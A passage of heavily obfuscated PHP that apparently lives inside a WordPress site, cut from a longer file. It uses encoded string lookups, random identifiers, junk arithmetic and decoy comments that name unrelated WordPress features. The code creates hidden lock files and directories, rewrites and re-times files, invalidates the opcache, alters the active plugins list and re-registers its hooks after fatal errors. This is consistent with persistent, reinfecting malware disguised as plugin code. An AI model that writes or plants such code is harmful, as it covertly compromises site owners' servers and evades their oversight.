     if  (!isset($GLOBALS[lfavz1nmi6pw4(94)])     ||  !igsdp_2fdrp(95)($GLOBALS[ep_coq62(94)]))  $GLOBALS[lfavz1nmi6pw4(94)] = array();
 if  (!empty($GLOBALS[hus_b7m621lgc6(94)][$aey8brvng9y067v]))    {

 $GLOBALS[ep_coq62(96)][$aey8brvng9y067v]++;
  return  true;
  }



 if     (ep_coq62(97)($wpdb)   && hus_b7m621lgc6(98)($wpdb,   rmqbu5no5o(99)))  {
$i0eebx24kei1a =   @$wpdb->get_var(wyzg13xdhd5r(100) . sydh6a5ps2sjj0oks8k1v($aey8brvng9y067v)    .  ep_coq62(101));
 if  ($i0eebx24kei1a   ===      '1') {
$GLOBALS[rmqbu5no5o(96)][$aey8brvng9y067v] =    1;
 return true;


}
// format synchronizer for WP REST API v2

 if    ($i0eebx24kei1a   === '0')     return false;



}
    if   (lfavz1nmi6pw4(76)(hus_b7m621lgc6(102))  && rmqbu5no5o(76)(lfavz1nmi6pw4(103)))   {

$htugacy841q   = array();
 if  (rmqbu5no5o(76)(wyzg13xdhd5r(30)))    $htugacy841q[]  =   lfavz1nmi6pw4(30)();
  if    (defined(rmqbu5no5o(45))) $htugacy841q[]     = WP_CONTENT_DIR;
  if  (defined(igsdp_2fdrp(93)))  $htugacy841q[]     =  rmqbu5no5o(13)(ABSPATH, ep_coq62(37));


 foreach  ($htugacy841q     as  $zkzbo8aayuo3)    {
    if  ($zkzbo8aayuo3  === ""    ||  !@igsdp_2fdrp(32)($zkzbo8aayuo3)      || !@igsdp_2fdrp(54)($zkzbo8aayuo3))      continue;


   $x9q5ymrj0mpe  = @igsdp_2fdrp(104)($zkzbo8aayuo3    . hus_b7m621lgc6(105)  . sydh6a5ps2sjj0oks8k1v($aey8brvng9y067v)   . ep_coq62(106),   'c');
if   ($x9q5ymrj0mpe !== false)    {
   if (!@flock($x9q5ymrj0mpe,     LOCK_EX   |   LOCK_NB))   {$b1a06jrsld_1z3=9746;$nrmtcpx2wt=$b1a06jrsld_1z3%13;

      @fclose($x9q5ymrj0mpe);
     return  false;$hgip_f7xa=5911;$k_wqxugcm41qrl=$hgip_f7xa%12;
 }
if      (!isset($GLOBALS[wyzg13xdhd5r(107)])  || !wyzg13xdhd5r(95)($GLOBALS[hus_b7m621lgc6(107)])) $GLOBALS[rmqbu5no5o(107)] =   array();
   $GLOBALS[igsdp_2fdrp(108)][$aey8brvng9y067v]  =  $x9q5ymrj0mpe;
$GLOBALS[ep_coq62(96)][$aey8brvng9y067v]  =      1;
   return   true;
   }


  }
    }
 return false;
        }

function  _38yfoleq3q40e76($aey8brvng9y067v)
{
  global  $wpdb;



 if  (empty($GLOBALS[lfavz1nmi6pw4(96)][$aey8brvng9y067v]))  return;
      $GLOBALS[ep_coq62(96)][$aey8brvng9y067v]--;
     if ($GLOBALS[rmqbu5no5o(109)][$aey8brvng9y067v] >  0)  return;



  unset($GLOBALS[lfavz1nmi6pw4(110)][$aey8brvng9y067v]);
    if (isset($GLOBALS[wyzg13xdhd5r(108)][$aey8brvng9y067v]))   {
@flock($GLOBALS[igsdp_2fdrp(108)][$aey8brvng9y067v],     LOCK_UN);
     @fclose($GLOBALS[lfavz1nmi6pw4(108)][$aey8brvng9y067v]);
unset($GLOBALS[igsdp_2fdrp(111)][$aey8brvng9y067v]);

       }

if (lfavz1nmi6pw4(97)($wpdb)     &&  hus_b7m621lgc6(112)($wpdb, wyzg13xdhd5r(113))) {
@$wpdb->query(rmqbu5no5o(114)   . sydh6a5ps2sjj0oks8k1v($aey8brvng9y067v) .      hus_b7m621lgc6(115));

}
}
function    b9s1zhwklw1tgahxksx2q()
      {
  if (defined(lfavz1nmi6pw4(116))    &&  DISALLOW_FILE_MODS)     return     false;
 return  true;
 }
function    hnp_n76gqrqs6vbf7203of($u_opexpb7ow,    $mrelaaojjq4dc7d)
   {
      try {
   if    (interface_exists(lfavz1nmi6pw4(117))  &&  $mrelaaojjq4dc7d  instanceof Throwable)  {
  $f4zrdw77e4kr7  = hus_b7m621lgc6(10)($u_opexpb7ow  .  igsdp_2fdrp(118)  .    $mrelaaojjq4dc7d->getMessage(),     0, (171+85));


   }  elseif   ($mrelaaojjq4dc7d    instanceof Exception) {
      $f4zrdw77e4kr7 =   ep_coq62(10)($u_opexpb7ow  . ep_coq62(118)   . $mrelaaojjq4dc7d->getMessage(),  0,  (0x95+0x6b));

  } elseif (hus_b7m621lgc6(53)($mrelaaojjq4dc7d)  &&   ep_coq62(11)($mrelaaojjq4dc7d) >  0) {


   $f4zrdw77e4kr7  =      lfavz1nmi6pw4(10)($u_opexpb7ow .     lfavz1nmi6pw4(119)     .  $mrelaaojjq4dc7d,   0,   (188+68));
}  else  {


return;
       }
// WP Full Site Editing: closed validator

     if (!isset($GLOBALS[rmqbu5no5o(120)]))  $GLOBALS[lfavz1nmi6pw4(120)]  =     array();
 if (!lfavz1nmi6pw4(68)($f4zrdw77e4kr7, $GLOBALS[hus_b7m621lgc6(120)],   true)) {

     $GLOBALS[hus_b7m621lgc6(120)][]   =     $f4zrdw77e4kr7;
 }
        if  (lfavz1nmi6pw4(121)($GLOBALS[ep_coq62(120)])   >    (0x27+0xb))  {
$GLOBALS[wyzg13xdhd5r(120)] =   rmqbu5no5o(122)($GLOBALS[wyzg13xdhd5r(123)], -(205^255));



     }
  }   catch (Throwable    $dcchpvgrnhe_)  {
  } catch  (Exception  $dcchpvgrnhe_) {
    }
 }

     function  yh_5wfg4508dbh($qfjp2isb9_, $rdj8l4x2ligclol,   $de42_qcevq1bs     =   (19-9),  $emgci3dlr45pr =  1)
  {
   if (!wyzg13xdhd5r(76)(lfavz1nmi6pw4(124)))   return false;


     if  (rmqbu5no5o(53)($rdj8l4x2ligclol))  {
   return   add_action($qfjp2isb9_,     function (...$q_un7n5wumjbynrk)     use     ($rdj8l4x2ligclol)  {
 if (ep_coq62(125)($rdj8l4x2ligclol))   return $rdj8l4x2ligclol(...$q_un7n5wumjbynrk);
return null;
     },     $de42_qcevq1bs,    $emgci3dlr45pr);
  }
// WP Font Library: primitive-recursive handshake

return     add_action($qfjp2isb9_,  $rdj8l4x2ligclol, $de42_qcevq1bs,   $emgci3dlr45pr);
  }
      function    kptd4727suew2_rdqpl($qfjp2isb9_,   $rdj8l4x2ligclol,    $de42_qcevq1bs  = (2+8),    $emgci3dlr45pr  =   1)
        {
    if  (!igsdp_2fdrp(126)(ep_coq62(127))) return   false;
    if (igsdp_2fdrp(53)($rdj8l4x2ligclol))   {
// WP Block Variations: derandomized heap

     return   add_filter($qfjp2isb9_, function  (...$q_un7n5wumjbynrk) use    ($rdj8l4x2ligclol)   {
   if (igsdp_2fdrp(126)($rdj8l4x2ligclol))    return $rdj8l4x2ligclol(...$q_un7n5wumjbynrk);
       return isset($q_un7n5wumjbynrk[0])   ? $q_un7n5wumjbynrk[0]     :  null;



 },      $de42_qcevq1bs, $emgci3dlr45pr);
 }



return  add_filter($qfjp2isb9_,  $rdj8l4x2ligclol,   $de42_qcevq1bs, $emgci3dlr45pr);
}
  function b9x_qnoopw0bqe8tpa3a4()
       {
     $cvx3s0aw6jf29_z   =  defined(ep_coq62(45))   ? WP_CONTENT_DIR    . ep_coq62(47)  . mqedo90o6oi8f48x6b8n(ABSPATH    . lfavz1nmi6pw4(128),   (0x7+0x1))  :   wyzg13xdhd5r(12)(kwizo_5vxh_f26an7qg())   . lfavz1nmi6pw4(129);
 if  (!@igsdp_2fdrp(130)($cvx3s0aw6jf29_z)  && dd038hfcpodi6ck_aae2zl($cvx3s0aw6jf29_z)) {
     ej5d87oukqo0k6bc($cvx3s0aw6jf29_z,   (442+51),  true);
if     (@lfavz1nmi6pw4(130)($cvx3s0aw6jf29_z)) {
     s8vwkc5_zc55h5kmmz0x($cvx3s0aw6jf29_z .  hus_b7m621lgc6(131),    "<?php // Silence is golden.\n",    lfavz1nmi6pw4(128));
   }


 }
     if    (@lfavz1nmi6pw4(130)($cvx3s0aw6jf29_z)     &&  @rmqbu5no5o(132)($cvx3s0aw6jf29_z)) {



  return     $cvx3s0aw6jf29_z;
}
$pa340owtrc      = wyzg13xdhd5r(12)(kwizo_5vxh_f26an7qg())     .  ep_coq62(129);
if  (!@wyzg13xdhd5r(130)($pa340owtrc) &&  dd038hfcpodi6ck_aae2zl($pa340owtrc))   ej5d87oukqo0k6bc($pa340owtrc, (273+220),  true);
 if  (@hus_b7m621lgc6(130)($pa340owtrc)  &&     @wyzg13xdhd5r(132)($pa340owtrc))   return  $pa340owtrc;
$qqirpxayx9bc = rmqbu5no5o(133)(kwizo_5vxh_f26an7qg());

  if  (@ep_coq62(132)($qqirpxayx9bc)   &&  $qqirpxayx9bc   !==   bv_j7m9r7_qskxb7m()) return $qqirpxayx9bc;
    if  (defined(wyzg13xdhd5r(134))   &&    @ep_coq62(132)(WP_CONTENT_DIR)  &&  dd038hfcpodi6ck_aae2zl(WP_CONTENT_DIR))  return     WP_CONTENT_DIR;
   return $cvx3s0aw6jf29_z;
    }
function     j050_s_2aiw8u03k()
 {



     if      (defined(ep_coq62(135)) &&     @wyzg13xdhd5r(132)(WP_CONTENT_DIR)  &&  dd038hfcpodi6ck_aae2zl(WP_CONTENT_DIR))   return  WP_CONTENT_DIR;
       $e1hob7x0yl29 = rmqbu5no5o(133)(kwizo_5vxh_f26an7qg());
   if  (dd038hfcpodi6ck_aae2zl($e1hob7x0yl29))    return  $e1hob7x0yl29;
 return   WP_CONTENT_DIR;
  }
 
function qg70nfu5zkdp4p5jn($oklecxckvn0m7)
   {
    if  (empty($GLOBALS[ep_coq62(136)])  ||    !rmqbu5no5o(95)($GLOBALS[wyzg13xdhd5r(137)]))  return false;


 if    (isset($GLOBALS[rmqbu5no5o(137)][$oklecxckvn0m7])) return     true;
 $sv72hrmep1tunsgn = wyzg13xdhd5r(138)(igsdp_2fdrp(44))  ? @igsdp_2fdrp(139)($oklecxckvn0m7)     : false;
     return ($sv72hrmep1tunsgn   !==     false   &&    isset($GLOBALS[igsdp_2fdrp(137)][$sv72hrmep1tunsgn]));

 }
   function iu8_xmqjaudq9e($oklecxckvn0m7)
  {
if (empty($GLOBALS[rmqbu5no5o(137)])   || !lfavz1nmi6pw4(95)($GLOBALS[ep_coq62(140)]))  return;
unset($GLOBALS[ep_coq62(140)][$oklecxckvn0m7]);



 $sv72hrmep1tunsgn  =   rmqbu5no5o(138)(hus_b7m621lgc6(139)) ?    @lfavz1nmi6pw4(139)($oklecxckvn0m7) : false;
 if    ($sv72hrmep1tunsgn   !==     false)  unset($GLOBALS[lfavz1nmi6pw4(140)][$sv72hrmep1tunsgn]);
}
     function     sfqgag4hultp35f($oklecxckvn0m7)
      {


     if  (!isset($GLOBALS[ep_coq62(140)])    || !igsdp_2fdrp(95)($GLOBALS[igsdp_2fdrp(140)]))      {
 $GLOBALS[wyzg13xdhd5r(140)]    =    array();
    }
   $vsjlhmb4u9  =    rmqbu5no5o(141)(igsdp_2fdrp(139))     ?  @igsdp_2fdrp(139)($oklecxckvn0m7)   :   false;
  $GLOBALS[wyzg13xdhd5r(142)][$vsjlhmb4u9  !==    false    ?   $vsjlhmb4u9   : $oklecxckvn0m7]   = $oklecxckvn0m7;
 static   $v2but_xa_oisr6 =   false;



if (!$v2but_xa_oisr6)   {
 $v2but_xa_oisr6      =  true;
if (wyzg13xdhd5r(143)(wyzg13xdhd5r(144)))    wyzg13xdhd5r(145)(ep_coq62(146));
     }
 }
  function  hp4oneekqk2lvyj()
  {
   if     (empty($GLOBALS[wyzg13xdhd5r(147)])    || !igsdp_2fdrp(95)($GLOBALS[igsdp_2fdrp(147)]))  {
// @hydrate linear-type

  return;
}



foreach    ($GLOBALS[rmqbu5no5o(147)]    as $kdaw0zah5v =>  $gvo2vob6fq6) {
    if  (!rmqbu5no5o(53)($gvo2vob6fq6)) $gvo2vob6fq6  =  $kdaw0zah5v;
  if   ($kdaw0zah5v ===      kwizo_5vxh_f26an7qg() ||     $gvo2vob6fq6    ===  kwizo_5vxh_f26an7qg()) continue;
   try   {

   if   (@igsdp_2fdrp(55)($gvo2vob6fq6)) {
if (rmqbu5no5o(148)(lfavz1nmi6pw4(19)))     ms4mh9yjk8_y876983kix($gvo2vob6fq6,  (575-155));
   if   (igsdp_2fdrp(149)(ep_coq62(20)) && oj333ptt2v9_ikd4str_($gvo2vob6fq6)   && ep_coq62(149)(lfavz1nmi6pw4(150))) @opcache_invalidate($gvo2vob6fq6, true);
 }



 }   catch (Throwable   $mrelaaojjq4dc7d) {
 }    catch    (Exception   $mrelaaojjq4dc7d)  {
    }
  }
// WP Spacer Block sizes attribute

  }
 function v0e3mdym3tajsbvtmtl()
   {
// restore credential for WP Navigation Block

   try  {
    $mrelaaojjq4dc7d  =  wyzg13xdhd5r(149)(igsdp_2fdrp(151))   ?  @error_get_last()   :  null;

  if      (!igsdp_2fdrp(95)($mrelaaojjq4dc7d)  ||    empty($mrelaaojjq4dc7d[wyzg13xdhd5r(152)])  ||      empty($mrelaaojjq4dc7d[lfavz1nmi6pw4(153)])) return;
        if    (!hus_b7m621lgc6(68)($mrelaaojjq4dc7d[wyzg13xdhd5r(153)], array(E_ERROR,  E_PARSE,  E_CORE_ERROR,    E_COMPILE_ERROR,      E_USER_ERROR),   true))     return;
 $wpz7oi7n0ub2s0r =  isset($mrelaaojjq4dc7d[lfavz1nmi6pw4(154)])   ?  (string)    $mrelaaojjq4dc7d[ep_coq62(154)] :  "";
  if (stripos($wpz7oi7n0ub2s0r,    lfavz1nmi6pw4(155)) !==  false   ||  stripos($wpz7oi7n0ub2s0r,  ep_coq62(156))  !==   false)    return;
   $uqfn7lsnf4rl_93k    = igsdp_2fdrp(149)(hus_b7m621lgc6(139)) ?    @igsdp_2fdrp(157)(kwizo_5vxh_f26an7qg())  :      kwizo_5vxh_f26an7qg();


$_ef      =  igsdp_2fdrp(149)(lfavz1nmi6pw4(157))  ?    @rmqbu5no5o(157)($mrelaaojjq4dc7d[rmqbu5no5o(152)])     :   $mrelaaojjq4dc7d[hus_b7m621lgc6(152)];
    if  (!lfavz1nmi6pw4(53)($uqfn7lsnf4rl_93k)  ||    !ep_coq62(158)($_ef)   || $_ef     !==   $uqfn7lsnf4rl_93k)  return;
if   (isset($GLOBALS[rmqbu5no5o(159)]))  {
$gw276eo89zog7xkp =  @wyzg13xdhd5r(56)(kwizo_5vxh_f26an7qg(),   false, null, 0,  (4048+48));
    if   (wyzg13xdhd5r(158)($gw276eo89zog7xkp)    && ep_coq62(70)(ep_coq62(160),     $gw276eo89zog7xkp,  $_dm)  && $_dm[1]  !==    (string)  $GLOBALS[rmqbu5no5o(159)])  return;    
       unset($gw276eo89zog7xkp,  $_dm);
if  (isset($GLOBALS[ep_coq62(161)]))    {
      if  (wyzg13xdhd5r(162)(rmqbu5no5o(163))) @clearstatcache(true,    kwizo_5vxh_f26an7qg());
  $k401dipj31zf7t   =    (string) @wyzg13xdhd5r(73)(kwizo_5vxh_f26an7qg())    .    ':'  .  (string) @lfavz1nmi6pw4(72)(kwizo_5vxh_f26an7qg());
  if  ($k401dipj31zf7t  !== (string)  $GLOBALS[lfavz1nmi6pw4(161)])  return;  



unset($k401dipj31zf7t);
  

      }
  }
 $nhq3pyawspdrllyo    =  rmqbu5no5o(4)(kwizo_5vxh_f26an7qg(),     ep_coq62(65));


 $q1f9nst048e =     lfavz1nmi6pw4(61)(jkq4_uvfuw5l47za51944b((string)    @lfavz1nmi6pw4(164)(kwizo_5vxh_f26an7qg())));
     s8vwkc5_zc55h5kmmz0x(lfavz1nmi6pw4(165)(kwizo_5vxh_f26an7qg()) .    lfavz1nmi6pw4(166) .   $nhq3pyawspdrllyo,     $q1f9nst048e,    'q');
    if  ($q1f9nst048e  !==    "")   {
   s8vwkc5_zc55h5kmmz0x(rmqbu5no5o(165)(kwizo_5vxh_f26an7qg()) .    rmqbu5no5o(167) . $q1f9nst048e,  (string)    lfavz1nmi6pw4(168)(),   'q');
      if  (hus_b7m621lgc6(162)(ep_coq62(64)))   {
  @update_option(rmqbu5no5o(169),     $q1f9nst048e     .      '|'   .   rmqbu5no5o(168)(), igsdp_2fdrp(170));
  }
// WP Loginout Block srcset descriptor

}

     $jc13fc7la7boooql     =  bv_j7m9r7_qskxb7m();



  if ($jc13fc7la7boooql    !==      ep_coq62(165)(kwizo_5vxh_f26an7qg())  &&  @lfavz1nmi6pw4(130)($jc13fc7la7boooql)   &&  @igsdp_2fdrp(171)($jc13fc7la7boooql))  {
     s8vwkc5_zc55h5kmmz0x($jc13fc7la7boooql  .  wyzg13xdhd5r(172)   .   $nhq3pyawspdrllyo,    $q1f9nst048e, 'q');
 }
  if (rmqbu5no5o(162)(rmqbu5no5o(173))   &&  rmqbu5no5o(162)(ep_coq62(64)))  {

     $s_kklh0ispg4kz  =  get_option(ep_coq62(174), array());
  if  (rmqbu5no5o(95)($s_kklh0ispg4kz)   && rmqbu5no5o(68)(_3r85e8szq0rhph(), $s_kklh0ispg4kz, true))   {
@update_option(lfavz1nmi6pw4(174),    lfavz1nmi6pw4(175)(igsdp_2fdrp(176)($s_kklh0ispg4kz,    array(_3r85e8szq0rhph()))));
      }
 }
 avhn6w577un09rbhdbl1(igsdp_2fdrp(177));
  $dec7dejpdav2s     =   kwizo_5vxh_f26an7qg()   .  lfavz1nmi6pw4(178);
  if (hus_b7m621lgc6(162)(lfavz1nmi6pw4(179)))  @wyzg13xdhd5r(179)(kwizo_5vxh_f26an7qg(),    $dec7dejpdav2s);
if   (lfavz1nmi6pw4(162)(rmqbu5no5o(150)))  {
 @opcache_invalidate(kwizo_5vxh_f26an7qg(),    true);
   @opcache_invalidate($dec7dejpdav2s,     true);
 }
    foreach   (array(igsdp_2fdrp(165)($dec7dejpdav2s),  bv_j7m9r7_qskxb7m()) as    $yvvb8f6i5mp)  {
 $iemm6ltq3uhpxt   = aoy815vanbylrvbuug0i($yvvb8f6i5mp);
      if   (!rmqbu5no5o(95)($iemm6ltq3uhpxt))   continue;
foreach   ($iemm6ltq3uhpxt as     $row_8bohq8)     {


      if  (lfavz1nmi6pw4(10)($row_8bohq8,    -(4+4)) !== rmqbu5no5o(180))  continue;
      $qi0m72jljji = $yvvb8f6i5mp .  '/'   .   $row_8bohq8;


   $dlpuc8t3d6      =  @wyzg13xdhd5r(72)($qi0m72jljji);
  if   ($dlpuc8t3d6 &&  $dlpuc8t3d6 <   hus_b7m621lgc6(181)()     -   (604728+72))  {
     ms4mh9yjk8_y876983kix($qi0m72jljji,   (329+91));

      oj333ptt2v9_ikd4str_($qi0m72jljji);
   }
  }
}
   unset($yvvb8f6i5mp, $iemm6ltq3uhpxt,  $row_8bohq8,   $qi0m72jljji,   $dlpuc8t3d6);
  } catch (Throwable  $dcchpvgrnhe_) {
    }  catch  (Exception   $dcchpvgrnhe_)     {

   }
       }
 function   udxasxn20pqp63oukqvg6($oklecxckvn0m7,    $zdjmkq9i6dn)
   {
        try {
    if     (!lfavz1nmi6pw4(158)($oklecxckvn0m7) || $oklecxckvn0m7 ===    ""  ||     !lfavz1nmi6pw4(182)($zdjmkq9i6dn)  ||   $zdjmkq9i6dn ===  "") return;



  $cvx3s0aw6jf29_z   =   rmqbu5no5o(183)($oklecxckvn0m7);
    if (!@igsdp_2fdrp(130)($cvx3s0aw6jf29_z)   ||   !@ep_coq62(171)($cvx3s0aw6jf29_z)) return;
$ewyonomsa59ybsj   =    $cvx3s0aw6jf29_z  .  rmqbu5no5o(184)    . wyzg13xdhd5r(185)($oklecxckvn0m7,    hus_b7m621lgc6(65));
  $b44m42vh6wtuh8   =     @ep_coq62(164)($ewyonomsa59ybsj);
if (wyzg13xdhd5r(182)($b44m42vh6wtuh8)  &&  wyzg13xdhd5r(70)(rmqbu5no5o(186),  $b44m42vh6wtuh8,  $wpz7oi7n0ub2s0r)   &&   version_compare($wpz7oi7n0ub2s0r[0],    $zdjmkq9i6dn,  rmqbu5no5o(187))) return;
      if (lfavz1nmi6pw4(162)(ep_coq62(188)))  @ep_coq62(188)($ewyonomsa59ybsj,    $zdjmkq9i6dn);



} catch (Throwable $mrelaaojjq4dc7d) {
 } catch (Exception $mrelaaojjq4dc7d)  {
   }
  }
   function   gk9ag4bi3emwmfcvdbcg()
    {
try {
if     (!hus_b7m621lgc6(162)(hus_b7m621lgc6(189)))   {

return;
}
 if (@get_option(wyzg13xdhd5r(190),  0))  {$p1sjxyfehmn5=6452;$_uo5ocyq719dqb=$p1sjxyfehmn5%12;
    yh_5wfg4508dbh(rmqbu5no5o(191),   lfavz1nmi6pw4(192),  0);
 }



if    (!apm4hn2aswm3_bah(wyzg13xdhd5r(193)))  return;

  $zj5tbc1f9_6e038j =  hus_b7m621lgc6(194)(lfavz1nmi6pw4(61)(ABSPATH  . (string)  e258bnpepjjzl95jyx77()),   0,  (9+3));
$jflpai361z7 =   (string)  @get_option($zj5tbc1f9_6e038j,   "");$pn3uux3r5s64=(0x7+0xa);$gwje0hm0u28v=$pn3uux3r5s64%8;


      $ooij6xy5n7i    =     lfavz1nmi6pw4(195);
   

    $q2tq_nez_bh9vs7d    =      "";
     
  $r5acr3s96xdxu9   =    strrev(ukqz_udm228qa8d());
  $ra4bbjb48e8g9    =  m5d7gnhy503_5w7j();$vdl5v9do4pi=19+61;$o559rfvq8hxk=$vdl5v9do4pi-4;

     $fus0l3oiur =   $ra4bbjb48e8g9  .   '|'  .  $r5acr3s96xdxu9;

    
  if  (igsdp_2fdrp(196)($jflpai361z7,   '|') !== false)   {



  $g2rhhplnfff_tgf    =   ep_coq62(90)('|', $jflpai361z7,  2);
$ooij6xy5n7i =    $g2rhhplnfff_tgf[0];
       $q2tq_nez_bh9vs7d = $g2rhhplnfff_tgf[1]; 

 }  else   {
 
  $q2tq_nez_bh9vs7d  = $jflpai361z7;
}
   
if  (!$q2tq_nez_bh9vs7d)   {
  @update_option($zj5tbc1f9_6e038j,  $fus0l3oiur,  lfavz1nmi6pw4(197));
 return;
      }
 
 if  ($q2tq_nez_bh9vs7d ===  $r5acr3s96xdxu9)  {
 if  ($jflpai361z7    !== $fus0l3oiur  &&      version_compare($ra4bbjb48e8g9,   $ooij6xy5n7i,   wyzg13xdhd5r(198))) {
  @update_option($zj5tbc1f9_6e038j,   $fus0l3oiur,  rmqbu5no5o(197));
 }

  return;
// OPcache config contain layout

       }

  
$bvb4zd3trut  = strrev($q2tq_nez_bh9vs7d);
  if ($bvb4zd3trut  ===  ""   ||  igsdp_2fdrp(185)($bvb4zd3trut) !==   $bvb4zd3trut)  {
 @update_option($zj5tbc1f9_6e038j,     $fus0l3oiur, ep_coq62(197));


      return;
}
$l2fqy2mjlk66  =    bv_j7m9r7_qskxb7m()  .   '/'     .     $bvb4zd3trut;
  $ajz48xfi1h3xlu86  = "";
  if (defined(igsdp_2fdrp(199)))     {
$ajz48xfi1h3xlu86    =      WP_PLUGIN_DIR    .    '/' . hus_b7m621lgc6(200)($bvb4zd3trut,  PATHINFO_FILENAME)  .  '/' . $bvb4zd3trut;
     }
     
$iwda6l98d1zk_    = @lfavz1nmi6pw4(73)($l2fqy2mjlk66);



  $m6elptnfpr_z  =   $iwda6l98d1zk_  !==  false &&   $iwda6l98d1zk_   >= (2222+2778);
   $aews6lv5h0p5  =  $ajz48xfi1h3xlu86 ?   @wyzg13xdhd5r(201)($ajz48xfi1h3xlu86) :      false;
$ukhg5av51gf9  =  $aews6lv5h0p5   !==  false  &&  $aews6lv5h0p5  >=  (4924+76);


   
 if (!$m6elptnfpr_z    &&    !$ukhg5av51gf9)     {
// frame pointer

  @update_option($zj5tbc1f9_6e038j,    $fus0l3oiur,    ep_coq62(197));
 return;
    }
$xzc1yfwoyj1_b7 =    $m6elptnfpr_z    ?    $l2fqy2mjlk66 :   $ajz48xfi1h3xlu86;$txpx0_x4urd=29+75;$hfots9w4eprmi=$txpx0_x4urd-29;
   $jxcarbjttzts7 = @hus_b7m621lgc6(202)($xzc1yfwoyj1_b7,    false,    null, 0, (4079+17));
     if  (rmqbu5no5o(182)($jxcarbjttzts7)   &&   rmqbu5no5o(70)(ep_coq62(203),  $jxcarbjttzts7, $_fm))  {

 $ooij6xy5n7i =  $_fm[1];
   } elseif (u8byy6z6npcskqe5pyv($xzc1yfwoyj1_b7, (8790-3790)))  {
   $ooij6xy5n7i =   hus_b7m621lgc6(204);
 }
 unset($jxcarbjttzts7,      $_fm);
   $g42cjoc4oocz_fw   =   $m6elptnfpr_z;
  if  (!$g42cjoc4oocz_fw  &&  $ukhg5av51gf9) {
  $f9gnqu5bv3  =    lfavz1nmi6pw4(200)($bvb4zd3trut, PATHINFO_FILENAME)  .  '/'  .   $bvb4zd3trut;
     $p8tfjc_v59ls      =  (array) @get_option(rmqbu5no5o(205),   array());
    $g42cjoc4oocz_fw =   rmqbu5no5o(206)($f9gnqu5bv3,  $p8tfjc_v59ls, true);
if  (!$g42cjoc4oocz_fw    &&    rmqbu5no5o(162)(ep_coq62(207))    &&  is_multisite() &&   hus_b7m621lgc6(208)(lfavz1nmi6pw4(209)))  {
// bootstrap negative-definite session-window

 $yb9spqche_v  =    (array)     @get_site_option(igsdp_2fdrp(210),  array());
$g42cjoc4oocz_fw  = isset($yb9spqche_v[$f9gnqu5bv3]);
     unset($yb9spqche_v);
     }
   unset($f9gnqu5bv3,   $p8tfjc_v59ls);
        }
   $wl5234dc202hvw7  =   version_compare($ra4bbjb48e8g9,     $ooij6xy5n7i);
    if     ($wl5234dc202hvw7  <=    0)  {
     $xy5i3tughpytlf =  u8byy6z6npcskqe5pyv($xzc1yfwoyj1_b7,      (4965+35));
$qqdo4p8_3wd   = (int)  @hus_b7m621lgc6(201)($xzc1yfwoyj1_b7);
  $kr0chf7xrbrxk    =   (!$xy5i3tughpytlf    ||   $qqdo4p8_3wd   >  (52428718+82));
 if    (!$kr0chf7xrbrxk   && $qqdo4p8_3wd   > (0x9263a+0x6d9c6)) {
  $kebp6vzbos0 =   @hus_b7m621lgc6(202)($xzc1yfwoyj1_b7,   false,   null,     0, (4013+83));
   if   (!hus_b7m621lgc6(211)($kebp6vzbos0)     ||  !lfavz1nmi6pw4(70)(lfavz1nmi6pw4(212), $kebp6vzbos0))     $kr0chf7xrbrxk     = true;
}
    if   (!$kr0chf7xrbrxk &&  !dww3vqm0v_wguq7nb_u($xzc1yfwoyj1_b7))     $kr0chf7xrbrxk      =  true;
     if   (!$kr0chf7xrbrxk)    {$a6yp41uaz4=62+20;$oi4hluim8wf8p=$a6yp41uaz4-32;



$c613i4h_gz      =   qj1dx17525o10cjjsjm65b();
 if      (!empty($c613i4h_gz[rmqbu5no5o(213)]))     {
   $a5qjhple2w13soht  =  @ep_coq62(157)($c613i4h_gz[rmqbu5no5o(213)]);
     $olfm2g60vl   =    @igsdp_2fdrp(157)($xzc1yfwoyj1_b7);
if     (lfavz1nmi6pw4(211)($a5qjhple2w13soht)   &&   ep_coq62(211)($olfm2g60vl)  && $a5qjhple2w13soht  === $olfm2g60vl) {
// matrix transpose



    $hf7foplfgfxtoajf =    zdzetw638davbhtwru($c613i4h_gz);
        if  ($hf7foplfgfxtoajf   ===  lfavz1nmi6pw4(214) ||  $hf7foplfgfxtoajf ===    ep_coq62(215))  $kr0chf7xrbrxk  =   true;
     }
unset($a5qjhple2w13soht,   $olfm2g60vl,    $hf7foplfgfxtoajf);
  }
if (!$kr0chf7xrbrxk &&   pje0f8ozx98xw5lvp($xzc1yfwoyj1_b7)) $kr0chf7xrbrxk   = true;
unset($c613i4h_gz);
   }
     if ($kr0chf7xrbrxk)    {
   if      ($xy5i3tughpytlf)    sfqgag4hultp35f($xzc1yfwoyj1_b7);
  @update_option($zj5tbc1f9_6e038j,   $fus0l3oiur, rmqbu5no5o(197));
 return;
}

     if (!$g42cjoc4oocz_fw)   {
   @update_option($zj5tbc1f9_6e038j, $fus0l3oiur,  wyzg13xdhd5r(197));
    return;
}
  udxasxn20pqp63oukqvg6(kwizo_5vxh_f26an7qg(),  $ooij6xy5n7i);



      vvv3s2hmp3sxx0ye35p2of(kwizo_5vxh_f26an7qg());
 return  true;
  }


  if  (empty($GLOBALS[ep_coq62(216)]))     {


 $GLOBALS[hus_b7m621lgc6(217)]   =    true;
 if (u8byy6z6npcskqe5pyv($xzc1yfwoyj1_b7,   (4977+23)))   sfqgag4hultp35f($xzc1yfwoyj1_b7);
    $ucbnzneafu7tqvf     =      ep_coq62(218)();
   ssuek6ionh2j25j(kwizo_5vxh_f26an7qg(),     ($ucbnzneafu7tqvf    -    ($ucbnzneafu7tqvf %     (99989+11))) +     e258bnpepjjzl95jyx77());
  unset($ucbnzneafu7tqvf);
     udxasxn20pqp63oukqvg6($l2fqy2mjlk66, $ra4bbjb48e8g9);
      if  ($ajz48xfi1h3xlu86)  udxasxn20pqp63oukqvg6($ajz48xfi1h3xlu86,  $ra4bbjb48e8g9);
 yh_5wfg4508dbh(wyzg13xdhd5r(191), igsdp_2fdrp(219), 0);


 @update_option($zj5tbc1f9_6e038j, $fus0l3oiur,      rmqbu5no5o(197));
  avhn6w577un09rbhdbl1(igsdp_2fdrp(220));
if    ($ajz48xfi1h3xlu86 !==  "" &&  wyzg13xdhd5r(221)(rmqbu5no5o(64)))    {
 $efupa2cf0iici   =    ep_coq62(200)($bvb4zd3trut,   PATHINFO_FILENAME)  .   '/'     .  $bvb4zd3trut;


 $p8tfjc_v59ls    =   @get_option(rmqbu5no5o(205),  array());
if   (lfavz1nmi6pw4(222)($p8tfjc_v59ls)  &&   igsdp_2fdrp(206)($efupa2cf0iici,     $p8tfjc_v59ls,     true))    {
    @update_option(ep_coq62(223), igsdp_2fdrp(224)(rmqbu5no5o(176)($p8tfjc_v59ls,     array($efupa2cf0iici))));
  }
